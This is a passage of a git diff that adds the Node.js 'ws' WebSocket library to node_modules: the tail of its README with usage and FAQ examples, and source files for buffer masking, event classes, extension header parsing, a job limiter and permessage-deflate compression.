ws.send(Date.now()); + }, 500); +}); +``` + +### Use the Node.js streams API + +```js +import WebSocket, { createWebSocketStream } from 'ws'; + +const ws = new WebSocket('wss://websocket-echo.com/'); + +const duplex = createWebSocketStream(ws, { encoding: 'utf8' }); + +duplex.on('error', console.error); + +duplex.pipe(process.stdout); +process.stdin.pipe(duplex); +``` + +### Other examples + +For a full example with a browser client communicating with a ws server, see the +examples folder. + +Otherwise, see the test cases. + +## FAQ + +### How to get the IP address of the client? + +The remote IP address can be obtained from the raw socket. + +```js +import { WebSocketServer } from 'ws'; + +const wss = new WebSocketServer({ port: 8080 }); + +wss.on('connection', function connection(ws, req) { + const ip = req.socket.remoteAddress; + + ws.on('error', console.error); +}); +``` + +When the server runs behind a proxy like NGINX, the de-facto standard is to use +the `X-Forwarded-For` header. + +```js +wss.on('connection', function connection(ws, req) { + const ip = req.headers['x-forwarded-for'].split(',')[0].trim(); + + ws.on('error', console.error); +}); +``` + +### How to detect and close broken connections? + +Sometimes, the link between the server and the client can be interrupted in a +way that keeps both the server and the client unaware of the broken state of the +connection (e.g. when pulling the cord). + +In these cases, ping messages can be used as a means to verify that the remote +endpoint is still responsive. + +```js +import { WebSocketServer } from 'ws'; + +function heartbeat() { + this.isAlive = true; +} + +const wss = new WebSocketServer({ port: 8080 }); + +wss.on('connection', function connection(ws) { + ws.isAlive = true; + ws.on('error', console.error); + ws.on('pong', heartbeat); +}); + +const interval = setInterval(function ping() { + wss.clients.forEach(function each(ws) { + if (ws.isAlive === false) return ws.terminate(); + + ws.isAlive = false; + ws.ping(); + }); +}, 30000); + +wss.on('close', function close() { + clearInterval(interval); +}); +``` + +Pong messages are automatically sent in response to ping messages as required by +the spec. + +Just like the server example above, your clients might as well lose connection +without knowing it. You might want to add a ping listener on your clients to +prevent that. A simple implementation would be: + +```js +import WebSocket from 'ws'; + +function heartbeat() { + clearTimeout(this.pingTimeout); + + // Use `WebSocket#terminate()`, which immediately destroys the connection, + // instead of `WebSocket#close()`, which waits for the close timer. + // Delay should be equal to the interval at which your server + // sends out pings plus a conservative assumption of the latency. + this.pingTimeout = setTimeout(() => { + this.terminate(); + }, 30000 + 1000); +} + +const client = new WebSocket('wss://websocket-echo.com/'); + +client.on('error', console.error); +client.on('open', heartbeat); +client.on('ping', heartbeat); +client.on('close', function clear() { + clearTimeout(this.pingTimeout); +}); +``` + +### How to connect via a proxy? + +Use a custom `http.Agent` implementation like [https-proxy-agent][] or +[socks-proxy-agent][]. + +## Changelog + +We're using the GitHub [releases][changelog] for changelog entries. + +## License + +[MIT](LICENSE) + +[`buffer.isutf8()`]: https://nodejs.org/api/buffer.html#bufferisutf8input +[bufferutil]: https://github.com/websockets/bufferutil +[changelog]: https://github.com/websockets/ws/releases +[client-report]: http://websockets.github.io/ws/autobahn/clients/ +[https-proxy-agent]: https://github.com/TooTallNate/node-https-proxy-agent +[node-zlib-bug]: https://github.com/nodejs/node/issues/8871 +[node-zlib-deflaterawdocs]: + https://nodejs.org/api/zlib.html#zlib_zlib_createdeflateraw_options +[permessage-deflate]: https://tools.ietf.org/html/rfc7692 +[server-report]: http://websockets.github.io/ws/autobahn/servers/ +[session-parse-example]: ./examples/express-session-parse +[socks-proxy-agent]: https://github.com/TooTallNate/node-socks-proxy-agent +[utf-8-validate]: https://github.com/websockets/utf-8-validate +[ws-server-options]: ./doc/ws.md#new-websocketserveroptions-callback diff --git a/node_modules/ws/browser.js b/node_modules/ws/browser.js new file mode 100644 index 000000000000..ca4f628ac17c --- /dev/null +++ b/node_modules/ws/browser.js @@ -0,0 +1,8 @@ +'use strict'; + +module.exports = function () { + throw new Error( + 'ws does not work in the browser. Browser clients must use the native ' + + 'WebSocket object' + ); +}; diff --git a/node_modules/ws/index.js b/node_modules/ws/index.js new file mode 100644 index 000000000000..41edb3b81bc1 --- /dev/null +++ b/node_modules/ws/index.js @@ -0,0 +1,13 @@ +'use strict'; + +const WebSocket = require('./lib/websocket'); + +WebSocket.createWebSocketStream = require('./lib/stream'); +WebSocket.Server = require('./lib/websocket-server'); +WebSocket.Receiver = require('./lib/receiver'); +WebSocket.Sender = require('./lib/sender'); + +WebSocket.WebSocket = WebSocket; +WebSocket.WebSocketServer = WebSocket.Server; + +module.exports = WebSocket; diff --git a/node_modules/ws/lib/buffer-util.js b/node_modules/ws/lib/buffer-util.js new file mode 100644 index 000000000000..f7536e28efa5 --- /dev/null +++ b/node_modules/ws/lib/buffer-util.js @@ -0,0 +1,131 @@ +'use strict'; + +const { EMPTY_BUFFER } = require('./constants'); + +const FastBuffer = Buffer[Symbol.species]; + +/** + * Merges an array of buffers into a new buffer. + * + * @param {Buffer[]} list The array of buffers to concat + * @param {Number} totalLength The total length of buffers in the list + * @return {Buffer} The resulting buffer + * @public + */ +function concat(list, totalLength) { + if (list.length === 0) return EMPTY_BUFFER; + if (list.length === 1) return list[0]; + + const target = Buffer.allocUnsafe(totalLength); + let offset = 0; + + for (let i = 0; i < list.length; i++) { + const buf = list[i]; + target.set(buf, offset); + offset += buf.length; + } + + if (offset < totalLength) { + return new FastBuffer(target.buffer, target.byteOffset, offset); + } + + return target; +} + +/** + * Masks a buffer using the given mask. + * + * @param {Buffer} source The buffer to mask + * @param {Buffer} mask The mask to use + * @param {Buffer} output The buffer where to store the result + * @param {Number} offset The offset at which to start writing + * @param {Number} length The number of bytes to mask. + * @public + */ +function _mask(source, mask, output, offset, length) { + for (let i = 0; i < length; i++) { + output[offset + i] = source[i] ^ mask[i & 3]; + } +} + +/** + * Unmasks a buffer using the given mask. + * + * @param {Buffer} buffer The buffer to unmask + * @param {Buffer} mask The mask to use + * @public + */ +function _unmask(buffer, mask) { + for (let i = 0; i < buffer.length; i++) { + buffer[i] ^= mask[i & 3]; + } +} + +/** + * Converts a buffer to an `ArrayBuffer`. + * + * @param {Buffer} buf The buffer to convert + * @return {ArrayBuffer} Converted buffer + * @public + */ +function toArrayBuffer(buf) { + if (buf.length === buf.buffer.byteLength) { + return buf.buffer; + } + + return buf.buffer.slice(buf.byteOffset, buf.byteOffset + buf.length); +} + +/** + * Converts `data` to a `Buffer`. + * + * @param {*} data The data to convert + * @return {Buffer} The buffer + * @throws {TypeError} + * @public + */ +function toBuffer(data) { + toBuffer.readOnly = true; + + if (Buffer.isBuffer(data)) return data; + + let buf; + + if (data instanceof ArrayBuffer) { + buf = new FastBuffer(data); + } else if (ArrayBuffer.isView(data)) { + buf = new FastBuffer(data.buffer, data.byteOffset, data.byteLength); + } else { + buf = Buffer.from(data); + toBuffer.readOnly = false; + } + + return buf; +} + +module.exports = { + concat, + mask: _mask, + toArrayBuffer, + toBuffer, + unmask: _unmask +}; + +/* istanbul ignore else */ +if (!process.env.WS_NO_BUFFER_UTIL) { + try { + const bufferUtil = require('bufferutil'); + + module.exports.mask = function (source, mask, output, offset, length) { + if (length < 48) _mask(source, mask, output, offset, length); + else bufferUtil.mask(source, mask, output, offset, length); + }; + + module.exports.unmask = function (buffer, mask) { + if (buffer.length < 32) _unmask(buffer, mask); + else bufferUtil.unmask(buffer, mask); + }; + } catch (e) { + // Continue regardless of the error. + } +} diff --git a/node_modules/ws/lib/constants.js b/node_modules/ws/lib/constants.js new file mode 100644 index 000000000000..d691b30a17fc --- /dev/null +++ b/node_modules/ws/lib/constants.js @@ -0,0 +1,12 @@ +'use strict'; + +module.exports = { + BINARY_TYPES: ['nodebuffer', 'arraybuffer', 'fragments'], + EMPTY_BUFFER: Buffer.alloc(0), + GUID: '258EAFA5-E914-47DA-95CA-C5AB0DC85B11', + kForOnEventAttribute: Symbol('kIsForOnEventAttribute'), + kListener: Symbol('kListener'), + kStatusCode: Symbol('status-code'), + kWebSocket: Symbol('websocket'), + NOOP: () => {} +}; diff --git a/node_modules/ws/lib/event-target.js b/node_modules/ws/lib/event-target.js new file mode 100644 index 000000000000..fea4cbc52c32 --- /dev/null +++ b/node_modules/ws/lib/event-target.js @@ -0,0 +1,292 @@ +'use strict'; + +const { kForOnEventAttribute, kListener } = require('./constants'); + +const kCode = Symbol('kCode'); +const kData = Symbol('kData'); +const kError = Symbol('kError'); +const kMessage = Symbol('kMessage'); +const kReason = Symbol('kReason'); +const kTarget = Symbol('kTarget'); +const kType = Symbol('kType'); +const kWasClean = Symbol('kWasClean'); + +/** + * Class representing an event. + */ +class Event { + /** + * Create a new `Event`. + * + * @param {String} type The name of the event + * @throws {TypeError} If the `type` argument is not specified + */ + constructor(type) { + this[kTarget] = null; + this[kType] = type; + } + + /** + * @type {*} + */ + get target() { + return this[kTarget]; + } + + /** + * @type {String} + */ + get type() { + return this[kType]; + } +} + +Object.defineProperty(Event.prototype, 'target', { enumerable: true }); +Object.defineProperty(Event.prototype, 'type', { enumerable: true }); + +/** + * Class representing a close event. + * + * @extends Event + */ +class CloseEvent extends Event { + /** + * Create a new `CloseEvent`. + * + * @param {String} type The name of the event + * @param {Object} [options] A dictionary object that allows for setting + * attributes via object members of the same name + * @param {Number} [options.code=0] The status code explaining why the + * connection was closed + * @param {String} [options.reason=''] A human-readable string explaining why + * the connection was closed + * @param {Boolean} [options.wasClean=false] Indicates whether or not the + * connection was cleanly closed + */ + constructor(type, options = {}) { + super(type); + + this[kCode] = options.code === undefined ? 0 : options.code; + this[kReason] = options.reason === undefined ? '' : options.reason; + this[kWasClean] = options.wasClean === undefined ? false : options.wasClean; + } + + /** + * @type {Number} + */ + get code() { + return this[kCode]; + } + + /** + * @type {String} + */ + get reason() { + return this[kReason]; + } + + /** + * @type {Boolean} + */ + get wasClean() { + return this[kWasClean]; + } +} + +Object.defineProperty(CloseEvent.prototype, 'code', { enumerable: true }); +Object.defineProperty(CloseEvent.prototype, 'reason', { enumerable: true }); +Object.defineProperty(CloseEvent.prototype, 'wasClean', { enumerable: true }); + +/** + * Class representing an error event. + * + * @extends Event + */ +class ErrorEvent extends Event { + /** + * Create a new `ErrorEvent`. + * + * @param {String} type The name of the event + * @param {Object} [options] A dictionary object that allows for setting + * attributes via object members of the same name + * @param {*} [options.error=null] The error that generated this event + * @param {String} [options.message=''] The error message + */ + constructor(type, options = {}) { + super(type); + + this[kError] = options.error === undefined ? null : options.error; + this[kMessage] = options.message === undefined ? '' : options.message; + } + + /** + * @type {*} + */ + get error() { + return this[kError]; + } + + /** + * @type {String} + */ + get message() { + return this[kMessage]; + } +} + +Object.defineProperty(ErrorEvent.prototype, 'error', { enumerable: true }); +Object.defineProperty(ErrorEvent.prototype, 'message', { enumerable: true }); + +/** + * Class representing a message event. + * + * @extends Event + */ +class MessageEvent extends Event { + /** + * Create a new `MessageEvent`. + * + * @param {String} type The name of the event + * @param {Object} [options] A dictionary object that allows for setting + * attributes via object members of the same name + * @param {*} [options.data=null] The message content + */ + constructor(type, options = {}) { + super(type); + + this[kData] = options.data === undefined ? null : options.data; + } + + /** + * @type {*} + */ + get data() { + return this[kData]; + } +} + +Object.defineProperty(MessageEvent.prototype, 'data', { enumerable: true }); + +/** + * This provides methods for emulating the `EventTarget` interface. It's not + * meant to be used directly. + * + * @mixin + */ +const EventTarget = { + /** + * Register an event listener. + * + * @param {String} type A string representing the event type to listen for + * @param {(Function|Object)} handler The listener to add + * @param {Object} [options] An options object specifies characteristics about + * the event listener + * @param {Boolean} [options.once=false] A `Boolean` indicating that the + * listener should be invoked at most once after being added. If `true`, + * the listener would be automatically removed when invoked. + * @public + */ + addEventListener(type, handler, options = {}) { + for (const listener of this.listeners(type)) { + if ( + !options[kForOnEventAttribute] && + listener[kListener] === handler && + !listener[kForOnEventAttribute] + ) { + return; + } + } + + let wrapper; + + if (type === 'message') { + wrapper = function onMessage(data, isBinary) { + const event = new MessageEvent('message', { + data: isBinary ? data : data.toString() + }); + + event[kTarget] = this; + callListener(handler, this, event); + }; + } else if (type === 'close') { + wrapper = function onClose(code, message) { + const event = new CloseEvent('close', { + code, + reason: message.toString(), + wasClean: this._closeFrameReceived && this._closeFrameSent + }); + + event[kTarget] = this; + callListener(handler, this, event); + }; + } else if (type === 'error') { + wrapper = function onError(error) { + const event = new ErrorEvent('error', { + error, + message: error.message + }); + + event[kTarget] = this; + callListener(handler, this, event); + }; + } else if (type === 'open') { + wrapper = function onOpen() { + const event = new Event('open'); + + event[kTarget] = this; + callListener(handler, this, event); + }; + } else { + return; + } + + wrapper[kForOnEventAttribute] = !!options[kForOnEventAttribute]; + wrapper[kListener] = handler; + + if (options.once) { + this.once(type, wrapper); + } else { + this.on(type, wrapper); + } + }, + + /** + * Remove an event listener. + * + * @param {String} type A string representing the event type to remove + * @param {(Function|Object)} handler The listener to remove + * @public + */ + removeEventListener(type, handler) { + for (const listener of this.listeners(type)) { + if (listener[kListener] === handler && !listener[kForOnEventAttribute]) { + this.removeListener(type, listener); + break; + } + } + } +}; + +module.exports = { + CloseEvent, + ErrorEvent, + Event, + EventTarget, + MessageEvent +}; + +/** + * Call an event listener + * + * @param {(Function|Object)} listener The listener to call + * @param {*} thisArg The value to use as `this`` when calling the listener + * @param {Event} event The event to pass to the listener + * @private + */ +function callListener(listener, thisArg, event) { + if (typeof listener === 'object' && listener.handleEvent) { + listener.handleEvent.call(listener, event); + } else { + listener.call(thisArg, event); + } +} diff --git a/node_modules/ws/lib/extension.js b/node_modules/ws/lib/extension.js new file mode 100644 index 000000000000..3d7895c1b060 --- /dev/null +++ b/node_modules/ws/lib/extension.js @@ -0,0 +1,203 @@ +'use strict'; + +const { tokenChars } = require('./validation'); + +/** + * Adds an offer to the map of extension offers or a parameter to the map of + * parameters. + * + * @param {Object} dest The map of extension offers or parameters + * @param {String} name The extension or parameter name + * @param {(Object|Boolean|String)} elem The extension parameters or the + * parameter value + * @private + */ +function push(dest, name, elem) { + if (dest[name] === undefined) dest[name] = [elem]; + else dest[name].push(elem); +} + +/** + * Parses the `Sec-WebSocket-Extensions` header into an object. + * + * @param {String} header The field value of the header + * @return {Object} The parsed object + * @public + */ +function parse(header) { + const offers = Object.create(null); + let params = Object.create(null); + let mustUnescape = false; + let isEscaping = false; + let inQuotes = false; + let extensionName; + let paramName; + let start = -1; + let code = -1; + let end = -1; + let i = 0; + + for (; i < header.length; i++) { + code = header.charCodeAt(i); + + if (extensionName === undefined) { + if (end === -1 && tokenChars[code] === 1) { + if (start === -1) start = i; + } else if ( + i !== 0 && + (code === 0x20 /* ' ' */ || code === 0x09) /* '\t' */ + ) { + if (end === -1 && start !== -1) end = i; + } else if (code === 0x3b /* ';' */ || code === 0x2c /* ',' */) { + if (start === -1) { + throw new SyntaxError(`Unexpected character at index ${i}`); + } + + if (end === -1) end = i; + const name = header.slice(start, end); + if (code === 0x2c) { + push(offers, name, params); + params = Object.create(null); + } else { + extensionName = name; + } + + start = end = -1; + } else { + throw new SyntaxError(`Unexpected character at index ${i}`); + } + } else if (paramName === undefined) { + if (end === -1 && tokenChars[code] === 1) { + if (start === -1) start = i; + } else if (code === 0x20 || code === 0x09) { + if (end === -1 && start !== -1) end = i; + } else if (code === 0x3b || code === 0x2c) { + if (start === -1) { + throw new SyntaxError(`Unexpected character at index ${i}`); + } + + if (end === -1) end = i; + push(params, header.slice(start, end), true); + if (code === 0x2c) { + push(offers, extensionName, params); + params = Object.create(null); + extensionName = undefined; + } + + start = end = -1; + } else if (code === 0x3d /* '=' */ && start !== -1 && end === -1) { + paramName = header.slice(start, i); + start = end = -1; + } else { + throw new SyntaxError(`Unexpected character at index ${i}`); + } + } else { + // + // The value of a quoted-string after unescaping must conform to the + // token ABNF, so only token characters are valid. + // Ref: https://tools.ietf.org/html/rfc6455#section-9.1 + // + if (isEscaping) { + if (tokenChars[code] !== 1) { + throw new SyntaxError(`Unexpected character at index ${i}`); + } + if (start === -1) start = i; + else if (!mustUnescape) mustUnescape = true; + isEscaping = false; + } else if (inQuotes) { + if (tokenChars[code] === 1) { + if (start === -1) start = i; + } else if (code === 0x22 /* '"' */ && start !== -1) { + inQuotes = false; + end = i; + } else if (code === 0x5c /* '\' */) { + isEscaping = true; + } else { + throw new SyntaxError(`Unexpected character at index ${i}`); + } + } else if (code === 0x22 && header.charCodeAt(i - 1) === 0x3d) { + inQuotes = true; + } else if (end === -1 && tokenChars[code] === 1) { + if (start === -1) start = i; + } else if (start !== -1 && (code === 0x20 || code === 0x09)) { + if (end === -1) end = i; + } else if (code === 0x3b || code === 0x2c) { + if (start === -1) { + throw new SyntaxError(`Unexpected character at index ${i}`); + } + + if (end === -1) end = i; + let value = header.slice(start, end); + if (mustUnescape) { + value = value.replace(/\\/g, ''); + mustUnescape = false; + } + push(params, paramName, value); + if (code === 0x2c) { + push(offers, extensionName, params); + params = Object.create(null); + extensionName = undefined; + } + + paramName = undefined; + start = end = -1; + } else { + throw new SyntaxError(`Unexpected character at index ${i}`); + } + } + } + + if (start === -1 || inQuotes || code === 0x20 || code === 0x09) { + throw new SyntaxError('Unexpected end of input'); + } + + if (end === -1) end = i; + const token = header.slice(start, end); + if (extensionName === undefined) { + push(offers, token, params); + } else { + if (paramName === undefined) { + push(params, token, true); + } else if (mustUnescape) { + push(params, paramName, token.replace(/\\/g, '')); + } else { + push(params, paramName, token); + } + push(offers, extensionName, params); + } + + return offers; +} + +/** + * Builds the `Sec-WebSocket-Extensions` header field value. + * + * @param {Object} extensions The map of extensions and parameters to format + * @return {String} A string representing the given object + * @public + */ +function format(extensions) { + return Object.keys(extensions) + .map((extension) => { + let configurations = extensions[extension]; + if (!Array.isArray(configurations)) configurations = [configurations]; + return configurations + .map((params) => { + return [extension] + .concat( + Object.keys(params).map((k) => { + let values = params[k]; + if (!Array.isArray(values)) values = [values]; + return values + .map((v) => (v === true ? k : `${k}=${v}`)) + .join('; '); + }) + ) + .join('; '); + }) + .join(', '); + }) + .join(', '); +} + +module.exports = { format, parse }; diff --git a/node_modules/ws/lib/limiter.js b/node_modules/ws/lib/limiter.js new file mode 100644 index 000000000000..3fd35784ea9e --- /dev/null +++ b/node_modules/ws/lib/limiter.js @@ -0,0 +1,55 @@ +'use strict'; + +const kDone = Symbol('kDone'); +const kRun = Symbol('kRun'); + +/** + * A very simple job queue with adjustable concurrency. Adapted from + * https://github.com/STRML/async-limiter + */ +class Limiter { + /** + * Creates a new `Limiter`. + * + * @param {Number} [concurrency=Infinity] The maximum number of jobs allowed + * to run concurrently + */ + constructor(concurrency) { + this[kDone] = () => { + this.pending--; + this[kRun](); + }; + this.concurrency = concurrency || Infinity; + this.jobs = []; + this.pending = 0; + } + + /** + * Adds a job to the queue. + * + * @param {Function} job The job to run + * @public + */ + add(job) { + this.jobs.push(job); + this[kRun](); + } + + /** + * Removes a job from the queue and runs it if possible. + * + * @private + */ + [kRun]() { + if (this.pending === this.concurrency) return; + + if (this.jobs.length) { + const job = this.jobs.shift(); + + this.pending++; + job(this[kDone]); + } + } +} + +module.exports = Limiter; diff --git a/node_modules/ws/lib/permessage-deflate.js b/node_modules/ws/lib/permessage-deflate.js new file mode 100644 index 000000000000..77d918b556a8 --- /dev/null +++ b/node_modules/ws/lib/permessage-deflate.js @@ -0,0 +1,514 @@ +'use strict'; + +const zlib = require('zlib'); + +const bufferUtil = require('./buffer-util'); +const Limiter = require('./limiter'); +const { kStatusCode } = require('./constants'); + +const FastBuffer = Buffer[Symbol.species]; +const TRAILER = Buffer.from([0x00, 0x00, 0xff, 0xff]); +const kPerMessageDeflate = Symbol('permessage-deflate'); +const kTotalLength = Symbol('total-length'); +const kCallback = Symbol('callback'); +const kBuffers = Symbol('buffers'); +const kError = Symbol('error'); + +// +// We limit zlib concurrency, which prevents severe memory fragmentation +// as documented in https://github.com/nodejs/node/issues/8871#issuecomment-250915913 +// and https://github.com/websockets/ws/issues/1202 +// +// Intentionally global; it's the global thread pool that's an issue. +// +let zlibLimiter; + +/** + * permessage-deflate implementation. + */ +class PerMessageDeflate { + /** + * Creates a PerMessageDeflate instance. + * + * @param {Object} [options] Configuration options + * @param {(Boolean|Number)} [options.clientMaxWindowBits] Advertise support + * for, or request, a custom client window size + * @param {Boolean} [options.clientNoContextTakeover=false] Advertise/ + * acknowledge disabling of client context takeover + * @param {Number} [options.concurrencyLimit=10] The number of concurrent + * calls to zlib + * @param {(Boolean|Number)} [options.serverMaxWindowBits] Request/confirm the + * use of a custom server window size + * @param {Boolean} [options.serverNoContextTakeover=false] Request/accept + * disabling of server context takeover + * @param {Number} [options.threshold=1024] Size (in bytes) below which + * messages should not be compressed if context takeover is disabled + * @param {Object} [options.zlibDeflateOptions] Options to pass to zlib on + * deflate + * @param {Object} [options.zlibInflateOptions] Options to pass to zlib on + * inflate + * @param {Boolean} [isServer=false] Create the instance in either server or + * client mode + * @param {Number} [maxPayload=0] The maximum allowed message length + */ + constructor(options, isServer, maxPayload) { + this._maxPayload = maxPayload | 0; + this._options = options || {}; + this._threshold = + this._options.threshold !== undefined ? this._options.threshold : 1024; + this._isServer = !!isServer; + this._deflate = null; + this._inflate = null; + + this.params = null; + + if (!zlibLimiter) { + const concurrency = + this._options.concurrencyLimit !== undefined + ? this._options.concurrencyLimit + : 10; + zlibLimiter = new Limiter(concurrency); + } + } + + /** + * @type {String} + */ + static get extensionName() { + return 'permessage-deflate'; + } + + /** + * Create an extension negotiation offer. + * + * @return {Object} Extension parameters + * @public + */ + offer() { + const params = {}; + + if (this._options.serverNoContextTakeover) { + params.server_no_context_takeover = true; + } + if (this._options.clientNoContextTakeover) { + params.client_no_context_takeover = true; + } + if (this._options.serverMaxWindowBits) { + params.server_max_window_bits = this._options.serverMaxWindowBits; + } + if (this._options.clientMaxWindowBits) { + params.client_max_window_bits = this._options.clientMaxWindowBits; + } else if (this._options.clientMaxWindowBits == null) { + params.client_max_window_bits = true; + } + + return params; + } + + /** + * Accept an extension negotiation offer/response. + * + * @param {Array} configurations The extension negotiation offers/reponse + * @return {Object} Accepted configuration + * @public + */ + accept(configurations) { + configurations = this.normalizeParams(configurations); + + this.params = this._isServer + ? this.acceptAsServer(configurations) + : this.acceptAsClient(configurations); + + return this.params; + } + + /** + * Releases all resources used by the extension. + * + * @public + */ + cleanup() { + if (this._inflate) { + this._inflate.close(); + this._inflate = null; + } + + if (this._deflate) { + const callback = this._deflate[kCallback]; + + this._deflate.close(); + this._deflate = null; + + if (callback) { + callback( + new Error( + 'The deflate stream was closed while data was being processed' + ) + ); + } + } + } + + /** + * Accept an extension negotiation offer. + * + * @param {Array} offers The extension negotiation offers + * @return {Object} Accepted configuration + * @private + */ + acceptAsServer(offers) { + const opts = this._options; + const accepted = offers.find((params) => { + if ( + (opts.serverNoContextTakeover === false && + params.server_no_context_takeover) || + (params.server_max_window_bits && + (opts.serverMaxWindowBits === false || + (typeof opts.serverMaxWindowBits === 'number' && + opts.serverMaxWindowBits > params.server_max_window_bits))) || + (typeof opts.clientMaxWindowBits === 'number' && + !params.client_max_window_bits) + ) { + return false; + } + + return true; + }); + + if (!accepted) { + throw new Error('None of the extension offers can be accepted'); + } + + if (opts.serverNoContextTakeover) { + accepted.server_no_context_takeover = true; + } + if (opts.clientNoContextTakeover) { + accepted.client_no_context_takeover = true; + } + if (typeof opts.serverMaxWindowBits === 'number') { + accepted.server_max_window_bits = opts.serverMaxWindowBits; + } + if (typeof opts.clientMaxWindowBits === 'number') { + accepted.client_max_window_bits = opts.clientMaxWindowBits; + } else if ( + accepted.client_max_window_bits === true || + opts.clientMaxWindowBits === false + ) { + delete accepted.client_max_window_bits; + } + + return accepted; + } + + /** + * Accept the extension negotiation response. + * + * @param {Array} response The extension negotiation response + * @return {Object} Accepted configuration + * @private + */ + acceptAsClient(response) { + const params = response[0]; + + if ( + this._options.clientNoContextTakeover === false && + params.client_no_context_takeover + ) { + throw new Error('Unexpected parameter "client_no_context_takeover"'); + } + + if (!params.client_max_window_bits) { + if (typeof this._options.clientMaxWindowBits === 'number') { + params.client_max_window_bits = this._options.clientMaxWindowBits; + } + } else if ( + this._options.clientMaxWindowBits === false || + (typeof this._options.clientMaxWindowBits === 'number' && + params.client_max_window_bits > this._options.clientMaxWindowBits) + ) { + throw new Error( + 'Unexpected or invalid parameter "client_max_window_bits"' + ); + } + + return params; + } + + /** + * Normalize parameters. + * + * @param {Array} configurations The extension negotiation offers/reponse + * @return {Array} The offers/response with normalized parameters + * @private + */ + normalizeParams(configurations) { + configurations.forEach((params) => { + Object.keys(params).forEach((key) => { + let value = params[key]; + + if (value.length > 1) { + throw new Error(`Parameter "${key}" must have only a single value`); + } + + value = value[0]; + + if (key === 'client_max_window_bits') { + if (value !== true) { + const num = +value; + if (!Number.isInteger(num) || num < 8 || num > 15) { + throw new TypeError( + `Invalid value for parameter "${key}": ${value}` + ); + } + value = num; + } else if (!this._isServer) { + throw new TypeError( + `Invalid value for parameter "${key}": ${value}` + ); + } + } else if (key === 'server_max_window_bits') { + const num = +value; + if (!Number.isInteger(num) || num < 8 || num > 15) { + throw new TypeError( + `Invalid value for parameter "${key}": ${value}` + ); + } + value = num; + } else if ( + key === 'client_no_context_takeover' || + key === 'server_no_context_takeover' + ) { + if (value !== true) { + throw new TypeError( + `Invalid value for parameter "${key}": ${value}` + ); + } + } else { + throw new Error(`Unknown parameter "${key}"`); + } + + params[key] = value; + }); + }); + + return configurations; + } + + /** + * Decompress data. Concurrency limited. + * + * @param {Buffer} data Compressed data + * @param {Boolean} fin Specifies whether or not this is the last fragment + * @param {Function} callback Callback + * @public + */ + decompress(data, fin, callback) { + zlibLimiter.add((done) => { + this._decompress(data, fin, (err, result) => { + done(); + callback(err, result); + }); + }); + } + + /** + * Compress data. Concurrency limited. + * + * @param {(Buffer|String)} data Data to compress + * @param {Boolean} fin Specifies whether or not this is the last fragment + * @param {Function} callback Callback + * @public + */ + compress(data, fin, callback) { + zlibLimiter.add((done) => { + this._compress(data, fin, (err, result) => { + done(); + callback(err, result); + }); + }); + } + + /** + * Decompress data. + * + * @param {Buffer} data Compressed data + * @param {Boolean} fin Specifies whether or not this is the last fragment + * @param {Function} callback Callback + * @private + */ + _decompress(data, fin, callback) { + const endpoint = this._isServer ? 'client' : 'server'; + + if (!this._inflate) { + const key = `${endpoint}_max_window_bits`; + const windowBits = + typeof this.params[key] !== 'number' + ? zlib.Z_DEFAULT_WINDOWBITS + : this.params[key]; + + this._inflate = zlib.createInflateRaw({ + ...this._options.zlibInflateOptions, + windowBits + }); + this._inflate[kPerMessageDeflate] = this; + this._inflate[kTotalLength] = 0; + this._inflate[kBuffers] = []; + this._inflate.on('error', inflateOnError); + this._inflate.on('data', inflateOnData); + } + + this._inflate[kCallback] = callback; + + this._inflate.write(data); + if (fin) this._inflate.write(TRAILER); + + this._inflate.flush(() => { + const err = this._inflate[kError]; + + if (err) { + this._inflate.close(); + this._inflate = null; + callback(err); + return; + } + + const data = bufferUtil.concat( + this._inflate[kBuffers], + this._inflate[kTotalLength] + ); + + if (this._inflate._readableState.endEmitted) { + this._inflate.close(); + this._inflate = null; + } else { + this._inflate[kTotalLength] = 0; + this._inflate[kBuffers] = []; + + if (fin && this.params[`${endpoint}_no_context_takeover`]) { + this._inflate.reset(); + } + } + + callback(null, data); + }); + } + + /** + * Compress data. + * + * @param {(Buffer|String)} data Data to compress + * @param {Boolean} fin Specifies whether or not this is the last fragment + * @param {Function} callback Callback + * @private + */ + _compress(data, fin, callback) { + const endpoint = this._isServer ? 'server' : 'client'; + + if (!this._deflate) { + const key = `${endpoint}_max_window_bits`; + const windowBits = + typeof this.params[key] !== 'number' + ? zlib.Z_DEFAULT_WINDOWBITS + : this.params[key]; + + this._deflate = zlib.createDeflateRaw({ + ...this._options.zlibDeflateOptions, + windowBits + }); + + this._deflate[kTotalLength] = 0; + this._deflate[kBuffers] = []; + + this._deflate.on('data', deflateOnData); + } + + this._deflate[kCallback] = callback; + + this._deflate.write(data); + this._deflate.flush(zlib.Z_SYNC_FLUSH, () => { + if (!this._deflate) { + // + // The deflate stream was closed while data was being processed. + // + return; + } + + let data = bufferUtil.concat( + this._deflate[kBuffers], + this._deflate[kTotalLength] + ); + + if (fin) { + data = new FastBuffer(data.buffer, data.byteOffset, data.length - 4); + } + + // + // Ensure that the callback will not be called again in + // `PerMessageDeflate#cleanup()`. + // + this._deflate[kCallback] = null; + + this._deflate[kTotalLength] = 0; + this._deflate[kBuffers] = []; + + if (fin && this.params[`${endpoint}_no_context_takeover`]) { + this._deflate.reset(); + } + + callback(null, data); + }); + } +} + +module.exports = PerMessageDeflate; + +/** + * The listener of the `zlib.DeflateRaw` stream `'data'` event. + * + * @param {Buffer} chunk A chunk of data + * @private + */ +function deflateOnData(chunk) { + this[kBuffers].push(chunk); + this[kTotalLength] += chunk.length; +} + +/** + * The listener of the `zlib.InflateRaw` stream `'data'` event. + * + * @param {Buffer} chunk A chunk of data + * @private + */ +function inflateOnData(chunk) { + this[kTotalLength] += chunk.length; + + if ( + this[kPerMessageDeflate]._maxPayload < 1 || + this[kTotalLength] <= this[kPerMessageDeflate]._maxPayload + ) { + this[kBuffers].push(chunk); + return; + } + + this[kError] = new RangeError('Max payload size exceeded'); + this[kError].code = 'WS_ERR_UNSUPPORTED_MESSAGE_LENGTH'; + this[kError][kStatusCode] = 1009; + this.removeListener('data', inflateOnData); + this.reset(); +} + +/** + * The listener of the `zlib.InflateRaw` stream `'error'` event. + * + * @param {Error} err The emitted error + * @private + */ +function inflateOnError(err) { + // + // There is no need to call `Zlib#close()` as the handle is automatically + // closed when an error is emitted. + // + this[kPerMessageDeflate]._inflate = null; + err[kStatusCode] = 1007; + this[kCallback](err); +} diff --git a/node_modules/ws/lib/receiver.js b/node_modules/ws/lib/receiver.js new file mode 100644 index 000000000000..70dfd993322a --- /dev/null +++ b/node_modules/ws/lib/receiver.js @@ -0,0 +1,704 @@ +'use strict'; + +const { Writable } = require('stream'); + +const PerMessageDeflate = require('./permessage-deflate'); +const { + BINARY_TYPES, + 